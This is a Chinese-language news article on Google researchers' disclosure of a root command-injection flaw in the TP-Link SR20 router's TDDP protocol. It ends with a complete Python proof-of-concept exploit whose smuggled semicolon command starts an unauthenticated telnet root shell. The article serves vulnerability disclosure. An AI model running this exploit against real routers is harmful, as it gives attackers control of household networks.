在长时间未得到普联回应后,谷歌研究人员公布普联路由的漏洞
本周谷歌旗下安全实验室的研究人员完全公开了深圳普联(TP-Link) SR20家用智能路由器中存在的安全漏洞。
此漏洞允许任何人使用系统最高权限执行任何命令而无需密码验证,所幸此漏洞只能本地执行无法远程触发。
至于谷歌研究人员公开未修复漏洞的原因则是谷歌早前已经向普联通报漏洞但是到现在为止普联都没有回应。
既没有回应也没有发布新版固件对漏洞进行进行修复, 按谷歌规定90天无论是否修复漏洞其详细信息都公开。
固件漏洞让攻击者完全绕过验证:
研究人员称普联制造的设备经常使用TDDP 调试协议,而这个调试协议在以前已经多次被发现存在安全漏洞。
最新被发现的漏洞同样是位于此调试协议中,用户只需要发送某个文件名加分号和参数即可将其导入解释器。
而这个解释器本身又是以最高权限运行的所以攻击者理论上可以执行任何命令,包括执行各种恶意操作等等。
虽然是本地执行但也有部分进行利用:
此漏洞无法直接通过远程方式触发所以需要本地触发,但即便如此攻击者还是可以先加载恶意软件再去触发。
例如攻击者先设法在用户计算机上安装某个恶意软件,然后再利用这个恶意软件和固件漏洞感染普联路由器。
接着就可以篡改路由器例如修改 DNS 解析服务器, 将此路由器下的所有设备引导到恶意网站加载其他病毒。
至于普联为何不回应谷歌提交的漏洞及不对漏洞进行修复尚不清楚,不过使用此路由器的用户最好提高警惕。
有兴趣的用户可以看看PoC:
#!/usr/bin/python3 # Create /testfile in your tftp root directory with the following contents: # #function config_test(config) # os.execute("telnetd -l /bin/login.sh") #end # # Replace 192.168.0.1 with the IP address of the vulnerable device import binascii import socket port_send = 1040 port_receive = 61000 tddp_ver = "01" tddp_command = "31" tddp_req = "01" tddp_reply = "00" tddp_padding = "%0.16X" % 00 tddp_packet = "".join([tddp_ver, tddp_command, tddp_req, tddp_reply, tddp_padding]) sock_receive = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock_receive.bind(('', port_receive)) # Send a request sock_send = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) packet = binascii.unhexlify(tddp_packet) packet = packet + b"/testfile;arbitrary" print(packet) sock_send.sendto(packet, ("192.168.0.1", port_send)) sock_send.close() response, addr = sock_receive.recvfrom(1024) r = response.encode('hex') print(r)